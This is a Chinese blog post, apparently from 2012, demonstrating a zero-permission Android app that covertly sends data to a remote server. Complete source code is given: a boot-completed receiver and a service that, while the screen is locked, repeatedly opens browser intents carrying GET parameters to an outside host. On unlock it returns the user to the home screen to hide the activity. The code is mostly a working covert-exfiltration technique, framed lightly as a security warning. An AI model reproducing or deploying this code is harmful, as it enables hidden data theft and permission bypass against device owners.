zoukankan      html  css  js  c++  java
  • 抛砖引玉 之 谁动了我的流量(0权限上传数据)

    上次写过一篇文章  抛砖引玉 之 谁动了我的隐私(android用户隐私窥探)  描述如何读取系统log缓冲区但还存在权限提示问题。

    这次来个稍微好点的,真正的0权限上传数据

    同上次讲的一样,虽然大部分用户在安装app时对权限警告视而不见,但相信以后用户会对权限问题越来越重视的。

    这次咱们先真正的来一次0权限上传热热身。

    一、原理

    首先利用的还是那个开机启动bug。

    然后,在手机锁屏时上传数据。

    如何上传数据呢,为了避免权限咱们得瞒天过海。

    我们知道,在Intent转向的时候,可以转到标记为ACTION_VIEW的activity,而浏览器都有这个标记,可以传一个uri过去。

    soga,说到这里,,明白了吧。就是使用http的GET传参,虽然只能传明文,但已经够了,更何况一次能传输的字节也还是很客观的。

    至于传什么,每个想实现这种功能的人都有其目的吧。

    二、实现

    首先是清单文件,不需要声明任何权限,只需要写一个广播接收者和一个服务即可

    <?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package
    ="org.igeek.hack"
    android:versionCode
    ="1"
    android:versionName
    ="1.0">
    <uses-sdk android:minSdkVersion="8" />


    <application android:icon="@drawable/icon" android:label="@string/app_name">

    <receiver android:name =".reciver.HackReceiver">
    <intent-filter android:priority ="1000">
    <action android:name ="android.intent.action.BOOT_COMPLETED"/>
    </intent-filter >
    </receiver >

    <service android:name=".service.HackerService"/>

    </application>
    </manifest>


     

    然后就是广播接收者的实现,很简单,单纯的开启一个服务

    package org.igeek.hack.reciver;


    import org.igeek.hack.service.HackerService;

    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;

    /**
    *
    @author 作者 E-mail:hangxin1940@gmail.com
    *
    @version 创建时间:2012-01-13 下午10:32:21
    * 类说明
    */
    public class HackReceiver extends BroadcastReceiver {


    @Override
    public void onReceive(Context context, Intent intent) {
    Intent it=new Intent(context, HackerService.class);
    context.startService(it);
    }


    }


     最后,就是关键部分,服务的实现
     

      1 package org.igeek.hack.service;
    2
    3 import java.util.Random;
    4 import android.app.KeyguardManager;
    5 import android.app.Service;
    6 import android.content.BroadcastReceiver;
    7 import android.content.Context;
    8 import android.content.Intent;
    9 import android.content.IntentFilter;
    10 import android.net.Uri;
    11 import android.os.Handler;
    12 import android.os.IBinder;
    13 import android.util.Log;
    14
    15 /**
    16 *
    17 * @author 作者 E-mail:hangxin1940@gmail.com
    18 * @version 创建时间:2012-01-13 下午10:42:11
    19 * 类说明
    20 */
    21 public class HackerService extends Service {
    22 private ScreenOnBroadcastReciver soReciver;
    23 private ScreenOFFBroadcastReciver sfReciver;
    24 private Handler handler;
    25
    26 final static String LOG_TAG="hack";
    27 KeyguardManager keyguardManager;
    28 Intent it;
    29
    30 //GET提交地址
    31 final String HACK_URL="http://www.igeek.org/hack?info=";
    32
    33
    34
    35 private Runnable r=new Runnable() {
    36
    37 @Override
    38 public void run() {
    39
    40
    41 //如果是锁屏状态
    42 if(keyguardManager.inKeyguardRestrictedInputMode()){
    43
    44 //GET上传,内容随你
    45 String hackInfo="hack!!!!your information!!!!!!!&r="+new Random().nextFloat();
    46
    47 it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    48 Uri uri=Uri.parse(HACK_URL+hackInfo);
    49 it.setData(uri);
    50 startActivity(it);
    51 Log.i(LOG_TAG,"提交数据->"+HACK_URL+hackInfo);
    52
    53 //每隔5秒,执行一次上传
    54 handler.postDelayed(r, 5000);
    55 }
    56 }
    57 };
    58
    59
    60
    61 @Override
    62 public void onStart(Intent intent, int startId) {
    63 super.onStart(intent, startId);
    64
    65 keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
    66 it=new Intent(Intent.ACTION_VIEW);
    67
    68 handler=new Handler();
    69
    70 Log.i(LOG_TAG, "开机完成,注册广播接收者");
    71 soReciver=new ScreenOnBroadcastReciver();
    72 sfReciver=new ScreenOFFBroadcastReciver();
    73
    74 IntentFilter onIntentFilter = new IntentFilter("android.intent.action.SCREEN_ON");
    75 registerReceiver(soReciver, onIntentFilter);
    76
    77 IntentFilter offIntentFilter = new IntentFilter("android.intent.action.SCREEN_OFF");
    78 registerReceiver(sfReciver, offIntentFilter);
    79 }
    80
    81
    82 @Override
    83 public IBinder onBind(Intent intent) {
    84 return null;
    85 }
    86
    87 /**
    88 * 解锁广播接收者
    89 * @author hang
    90 *
    91 */
    92 class ScreenOnBroadcastReciver extends BroadcastReceiver {
    93
    94 @Override
    95 public void onReceive(Context context, Intent intent) {
    96
    97 Log.i(LOG_TAG, "屏幕解开");
    98 handler.removeCallbacks(r);
    99 intent.setAction(Intent.ACTION_MAIN);
    100 intent.addCategory(Intent.CATEGORY_HOME);
    101 intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    102
    103 Log.i(LOG_TAG, "转向HOME");
    104 startActivity(intent);
    105
    106 }
    107
    108 }
    109
    110 /**
    111 * 锁屏广播接收者
    112 * @author hang
    113 *
    114 */
    115 class ScreenOFFBroadcastReciver extends BroadcastReceiver {
    116
    117 @Override
    118 public void onReceive(final Context context, Intent intent) {
    119
    120
    121
    122 Log.i(LOG_TAG, "屏幕锁住");
    123
    124 //500ms后开始执行上传数据
    125 handler.postDelayed(r, 500);
    126 }
    127
    128 }
    129 }

    三、效果

    哈,运行下试试,关机。。。开机。。。锁屏。。解锁。。没发现什么反应啊。。。再看看程序管理。。Hack程序也没有任何权限提示啊。。。

    真的这样吗?来看看log

    you see? 流量就这么悄悄的耗了。

    本工程包地址:hack_0p_upload.zip

    结束语

    这么流氓的伎俩,相信谁都不想碰到,google market也混乱的一塌糊涂,android app混乱的不成样子,大家还是擦亮双眼,安全,一定要注意的。

    另外,关于开机启动的这个bug,貌似360的手机安全软件可以检测出来。其它的我没试,因为我很懒,我从来不装安全软件。

    最后,请关注我的 抛砖引玉 系列,会有更多精彩内容

    原创,转载请注明  http://hangxin1940.cnblogs.com

    这里仅当抛砖引玉,本人水平有限,难免有些疏漏或者错误,还请指正!!!

  • 相关阅读:
    面向对象课程第三次博客总结
    面向对象课程多线程总结
    23种设计模式整理
    java中synchronized与lock的理解与应用
    关于MySQL查询优化
    mysql操作规范建议
    Linux中实体链接与符号链接详解
    获取本地ipv4地址方法(go语言)
    分库分表与负载均衡的一致性hash算法
    golang闭包的一个经典例子
  • 原文地址:https://www.cnblogs.com/hangxin1940/p/2322174.html
Copyright © 2011-2022 走看看